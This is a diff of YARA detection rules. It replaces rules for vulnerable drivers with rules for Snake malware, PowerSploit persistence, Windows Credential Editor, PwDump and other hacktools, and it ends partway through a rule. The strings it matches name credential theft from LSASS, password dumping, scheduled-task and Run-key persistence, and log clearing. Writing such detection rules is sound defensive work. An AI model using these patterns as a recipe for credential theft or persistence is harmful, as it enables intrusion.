+rule SIGNATURE_BASE_APT_MAL_RU_WIN_Snake_Malware_May23_1 : MEMORY
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - amp.sys"
-		author = "Florian Roth"
-		id = "a2b01649-d98b-5d99-9fb3-e9a648db62ad"
-		date = "2023-06-14"
+		description = "Hunting Russian Intelligence Snake Malware"
+		author = "Matt Suiche (Magnet Forensics)"
+		id = "53d2de3c-350c-5090-84bb-b6cde16a80ad"
+		date = "2023-05-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4718-L4738"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cbb8239a765bf5b2c1b6a5c8832d2cab8fef5deacadfb65d8ed43ef56d291ab6"
-		logic_hash = "79514ed74f7ca8fae3b4a36ae240d325fb70555cb8371e03a498b6fb9992b961"
-		score = 40
-		quality = 85
-		tags = "FILE"
+		reference = "https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_mal_ru_snake_may23.yar#L17-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7cff7152259bb17a9b72b91f0fbef220aad2f35a1d2758d7225316a9896bf845"
+		score = 75
+		quality = 71
+		tags = "MEMORY"
+		threat_name = "Windows.Malware.Snake"
+		scan_context = "memory"
+		license = "MIT"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d00500020004d0069006e006900660069006c007400650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043005900520045004e00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0034002e00310031002e0031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0034002e00310031002e0031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d0050 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005900520045004e00200041004d005000200035 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0061006d0070002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9002000310039003900390020002d00200032003000310034002e00200043005900520045004e00200049006e0063002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$a = { 25 73 23 31 }
+		$b = { 25 73 23 32 }
+		$c = { 25 73 23 33 }
+		$d = { 25 73 23 34 }
+		$e = { 2e 74 6d 70 }
+		$g = { 2e 73 61 76 }
+		$h = { 2e 75 70 64 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Supermicrocomputerinc_Superbmc_Superbmc_F843 : FILE
+rule SIGNATURE_BASE_APT_MAL_RU_Snake_Indicators_May23_1
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - superbmc.sys"
+		description = "Detects indicators found in Snake malware samples"
 		author = "Florian Roth"
-		id = "bf870b5d-ab2d-587d-a7ce-da7a02960d2c"
-		date = "2023-06-14"
+		id = "0d4fa8a7-447c-5905-bab9-b63de6209036"
+		date = "2023-05-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4741-L4761"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f8430bdc6fd01f42217d66d87a3ef6f66cb2700ebb39c4f25c8b851858cc4b35"
-		logic_hash = "a628c561060c20f97c03b11be8c6d475b390d10ee7bf8dff9cc05600d68b8fc8"
-		score = 40
-		quality = 85
-		tags = "FILE"
+		reference = "https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_mal_ru_snake_may23.yar#L44-L79"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cb7a4ad2ee0868f17b6235f070e4c03e2394e3c252253f334b29ad26116b09e5"
+		score = 85
+		quality = 35
+		tags = ""
+		hash1 = "10b854d66240d9ee1ce4296d2f7857d2b1c6f062ca836d13d777930d678b3ca6"
+		hash2 = "15ac5a61fb3e751045de2d7f5ff26c673f3883e326cd1b3a63889984a4fb2a8f"
+		hash3 = "315ec991709eb45eccf724dfe31bccb7affcac7f8e8007e688ba8d02827205e0"
+		hash4 = "417eb4fb9ada270af35562ff317807ac5ca9ee26181fe89990858f0944d3a6a7"
+		hash5 = "48112970de6ea0f925f0657b30adcd0723df94afc98cfafdc991d70ad3602119"
+		hash6 = "55ea557bcf4c143f20c616abe9075f7faafbf825aeef9ddb4f2b201acc44414b"
+		hash7 = "6568bbeeb417e1111bf284e73152d90fe17e5497da7630ccddcbc666730dccef"
+		hash8 = "81d620cb645006ffc9ac1b9d98a53aa286ae92b025bda075962079633f020482"
+		hash9 = "888a3029b1b8b664eb1fc77dd511c4088a1e28ae5535a8683642bb3dca011d00"
+		hash10 = "9027b4fef50b36289d630059425dc1137c88328329c3ea9dbc348dccd001adc0"
+		hash11 = "9ac199572cab67433726976a0e9ba39d6feed1d567d6d230ebe3133df8dcb7fa"
+		hash12 = "a64e5d872421991226ee040b4cd49a89ca681bdef4c10c4798b6c7b5c832c6df"
+		hash13 = "b5d2da5eb57b5ab26edb927469552629f3cf43bbce2b1a128f6daac7cf57f6f7"
+		hash14 = "bc15de1d1c6c62c0bf856e0368adabc4941e7b687a969912494c173233e6d28d"
+		hash15 = "bdf94311313c39a3413464f623bd75a3db2eb05cc01090acd6dcd462a605eb4a"
+		hash16 = "e4311892ae00bf8148a94fa900fc8e2c279a2acd3b4b4b4c3d0c99dd1d32353c"
+		hash17 = "ed74288b367a93c6b47343bc696e751b9c465761ce9c4208901726baa758b234"
+		hash18 = "ef1f1c7692b92a730f76b6227643b2d02a6e353af6e930166e3b48e3903e4ffd"
+		hash19 = "f5e982b76af7f447742753f0b57eec3d7dd2e3c8e5506c35d4cf6c860b829f45"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]007300750070006500720062006d0063 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300750070006500720020004d006900630072006f00200043006f006d00700075007400650072002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007300750070006500720062006d0063 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]007300750070006500720062006d0063 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007300750070006500720062006d0063002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280063002900200031003900390033002d00320030003100350020005300750070006500720020004d006900630072006f00200043006f006d00700075007400650072002c00200049006e0063002e }
+		$s1 = "\\\\.\\%s\\\\" ascii fullword
+		$s2 = "read_peer_nfo" ascii fullword
+		$s3 = "rcv_buf=%d%c" ascii fullword
+		$s4 = "%s: (0x%08x)" ascii fullword
+		$s5 = "no_impersonate" ascii fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_1023 : FILE
+rule SIGNATURE_BASE_HKTL_Powersploit
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "45f59f43-b8eb-5c58-a386-a7bb19a88253"
-		date = "2023-06-14"
+		description = "Detects default strings used by PowerSploit to establish persistence"
+		author = "Markus Neis"
+		id = "8cb0753c-c5bb-56fc-b492-4e785f4bdaf4"
+		date = "2018-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4764-L4784"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1023dcd4c80db19e9f82f95b1c5e1ddb60db7ac034848dd5cc1c78104a6350f4"
-		logic_hash = "5dd553f7a90a5680d1a250a951e0166a526690dbef5fe431fa37347b3a5f2078"
-		score = 40
-		quality = 85
-		tags = "FILE"
+		reference = "https://www.hybrid-analysis.com/sample/16937e76db6d88ed0420ee87317424af2d4e19117fe12d1364fee35aa2fadb75?environmentId=100"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powersploit_dropper.yar#L1-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "00bc389147926f3b474a7072381bb8b9cddad3ff581a5d2182006a674e0c0163"
+		score = 75
+		quality = 81
+		tags = ""
+		hash1 = "16937e76db6d88ed0420ee87317424af2d4e19117fe12d1364fee35aa2fadb75"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0031002e0033003800300030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0031002e0033003800300030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$ps = "function" nocase ascii wide
+		$s1 = "/Create /RU system /SC ONLOGON" ascii wide
+		$s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_F877 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Windowscredentialeditor
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		description = "Windows Credential Editor"
 		author = "Florian Roth"
-		id = "b2a52cf7-6f64-5409-8764-e26f7b9e45c8"
-		date = "2023-06-14"
+		id = "1542c6e4-36b2-5272-85d0-43226869b43e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4787-L4808"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f877296e8506e6a1acbdacdc5085b18c6842320a2775a329d286bac796f08d54"
-		hash = "de3597ae7196ca8c0750dce296a8a4f58893774f764455a125464766fcc9b3b5"
-		logic_hash = "65966a05952fcf57b8d722154fe6dcafba49fffa0494086e1ff2bf76229d0c78"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L20-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "531a0bdc893d89b1c14deee11df95b430051cef07744a15b5d606e1c5378db97"
+		score = 90
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		threat_level = 10
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0031002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0031002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003500200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$a = "extract the TGT session key"
+		$b = "Windows Credentials Editor"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Almicosoftware_Sfdrvxsys_Speedfan_X_AD23 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Amplia_Security_Tool : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - sfdrvx32.sys"
+		description = "Detects Amplia Security Tool like Windows Credential Editor"
 		author = "Florian Roth"
-		id = "df1de7d1-dd2a-5c6c-980d-a080b343f4f7"
-		date = "2023-06-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4811-L4831"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ad23d77a38655acb71216824e363df8ac41a48a1a0080f35a0d23aa14b54460b"
-		logic_hash = "8cdd734afe9bdf25157395096e64bfa743e4f17e1bde796269d6b5c875147561"
-		score = 40
+		id = "4ad83f34-561d-53ce-9766-e21700354da7"
+		date = "2013-01-01"
+		modified = "2023-02-14"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L34-L55"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7ca32d8df0011f23922c6566b28aa55b0756d5b67bf3db8908b206b1038bb1f2"
+		score = 60
 		quality = 85
 		tags = "FILE"
+		nodeepdive = 1
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530070006500650064002000460061006e00200078003300320020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006c006d00690063006f00200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00580034002e00340033002e00300034 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00580034002e00340033002e00300034 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730066006400720076007800330032002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530070006500650064002000460061006e }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730066006400720076007800330032002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200041006c006d00690063006f00200053006f00660074007700610072006500200032003000300031002d0032003000310030 }
+		$a = "Amplia Security"
+		$c = "getlsasrvaddr.exe"
+		$d = "Cannot get PID of LSASS.EXE"
+		$e = "extract the TGT session key"
+		$f = "PPWDUMP_DATA"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <3000KB and (2 of them ) or 3 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Asustekcomputerinc_Atsziosys_Atsziodriver_1A4F : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Pwdump
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ATSZIO.sys"
-		author = "Florian Roth"
-		id = "a7b74018-53bc-5f36-b1cd-50d87c5928e0"
-		date = "2023-06-14"
+		description = "PwDump 6 variant"
+		author = "Marc Stroebel"
+		id = "e557e548-53e8-5098-93d4-8e899384e67c"
+		date = "2014-04-24"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4834-L4858"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1a4f7d7926efc3e3488758ce318246ea78a061bde759ec6c906ff005dd8213e5"
-		hash = "0da746e49fd662be910d0e366934a7e02898714eaaa577e261ab40eb44222b5c"
-		hash = "e32ab30d01dcff6418544d93f99ae812d2ce6396e809686620547bea05074f6f"
-		hash = "01e024cb14b34b6d525c642a710bfa14497ea20fd287c39ba404b10a8b143ece"
-		hash = "ecfc52a22e4a41bf53865b0e28309411c60af34a44e31a5c53cdc8c5733e8282"
-		logic_hash = "46cf4eeb547c5924f29ba44a85da013b505732cea5f2ddc8e7e8645b793994a9"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L58-L72"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a998d16f84e8689f182f6665ad165c6ff19e25d3e52acc10ca4cc6fe54ba354f"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100540053005a0049004f0020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065006b00200043006f006d0070007500740065007200200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002e0032002e0031002e0037 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002e0032002e0031002e0037 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100540053005a0049004f002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100540053005a0049004f0020004400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100540053005a0049004f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032 }
+		$s5 = "Usage: %s [-x][-n][-h][-o output_file][-u user][-p password][-s share] machineNa"
+		$s6 = "Unable to query service status. Something is wrong, please manually check the st"
+		$s7 = "pwdump6 Version %s by fizzgig and the mighty group at foofus.net" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_BCFC : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Pscan_Portscan_1
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "aabd529a-516f-5e7f-85e2-b7fa207b89cd"
-		date = "2023-06-14"
+		description = "PScan - Port Scanner"
+		author = "F. Roth"
+		id = "54997776-644b-5a72-b08c-7174b7dc7f66"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4861-L4881"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bcfc2c9883e6c1b8429be44cc4db988a9eecb544988fbd756d18cfca6201876f"
-		logic_hash = "10b04a7ca71652632fb836bfb76f6be8b4c1d9e7e6566f623b52a850b3dbebde"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L74-L86"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c624fcdf28506b551bf7b36883d95b279a7c56322337a0acafd91205659c92cc"
+		score = 50
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e00330030002e0030002e0031003000340039 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00330030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$a = "00050;0F0M0X0a0v0}0"
+		$b = "vwgvwgvP76"
+		$c = "Pr0PhOFyP"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Windowsrddkprovider_Gdrvsys_Windowsrddkdriver_F4FF : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hacktool_Samples
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		description = "Hacktool"
 		author = "Florian Roth"
-		id = "e7e01116-2971-59fd-bada-ac22cdc17670"
-		date = "2023-06-14"
+		id = "ecacf84a-f66c-5c21-ae4b-fd9bfb5be384"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4884-L4905"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f4ff679066269392f6b7c3ba6257fc60dd609e4f9c491b00e1a16e4c405b0b9b"
-		hash = "cfc5c585dd4e592dd1a08887ded28b92d9a5820587b6f4f8fa4f56d60289259b"
-		logic_hash = "e7ca103b49c11733154f9f4bf164be90f25d3534ea103312047d7f1a9c240131"
-		score = 40
-		quality = 85
-		tags = "FILE"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L88-L122"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0064950d88eccbe670cd1dc70861d093c7f49f8f10e984aef4cfb4bcc94e4645"
+		score = 50
+		quality = 83
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041004200590054004500200054006f006f006c0073 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200032003000300030002000440044004b002000700072006f00760069006400650072 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00300030002e0032003100390035002e0031003600320030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00300030002e0032003100390035002e0031003600320030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200032003000300030002000440044004b0020006400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d006900630072006f0073006f0066007400200043006f00720070002e00200031003900380031002d0031003900390039 }
+		$a = "Unable to uninstall the fgexec service"
+		$b = "Unable to set socket to sniff"
+		$c = "Failed to load SAM functions"
+		$d = "Dump system passwords"
+		$e = "Error opening sam hive or not valid file"
+		$f = "Couldn't find LSASS pid"
+		$g = "samdump.dll"
+		$h = "WPEPRO SEND PACKET"
+		$i = "WPE-C1467211-7C89-49c5-801A-1D048E4014C4"
+		$j = "Usage: unshadow PASSWORD-FILE SHADOW-FILE"
+		$k = "arpspoof\\Debug"
+		$l = "Success: The log has been cleared"
+		$m = "clearlogs [\\\\computername"
+		$n = "DumpUsers 1."
+		$o = "dictionary attack with specified dictionary file"
+		$p = "by Objectif Securite"
+		$q = "objectif-securite"
+		$r = "Cannot query LSA Secret on remote host"
+		$s = "Cannot write to process memory on remote host"
+		$t = "Cannot start PWDumpX service on host"
+		$u = "usage: %s <system hive> <security hive>"
+		$v = "username:domainname:LMhash:NThash"
+		$w = "<server_name_or_ip> | -f <server_list_file> [username] [password]"
+		$x = "Impersonation Tokens Available"
+		$y = "failed to parse pwdump format string"
+		$z = "Dumping password"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_DBC6 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Fierce2
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "9a004873-765d-5db7-87e1-8796286635e3"
-		date = "2023-06-14"
+		description = "This signature detects the Fierce2 domain scanner"
+		author = "Florian Roth (Nextron Systems)"
+		id = "08a72151-48c2-513b-995f-be0d5acba7dd"
+		date = "2014-01-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4908-L4928"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "dbc604b4e01362a3e51357af4a87686834fe913852a4e0a8c0d4c1a0f7d076ed"
-		logic_hash = "becd57b696fe37ea0ae1bd83aa1c00258d1a58fd83c80d9772bea625ad0d6afc"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L126-L139"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "05502827dd5d1903507fd1e176d518516a5c1965fb4e51ea26b1a05eb0dce3d2"
+		score = 60
 		quality = 85
-		tags = "FILE"
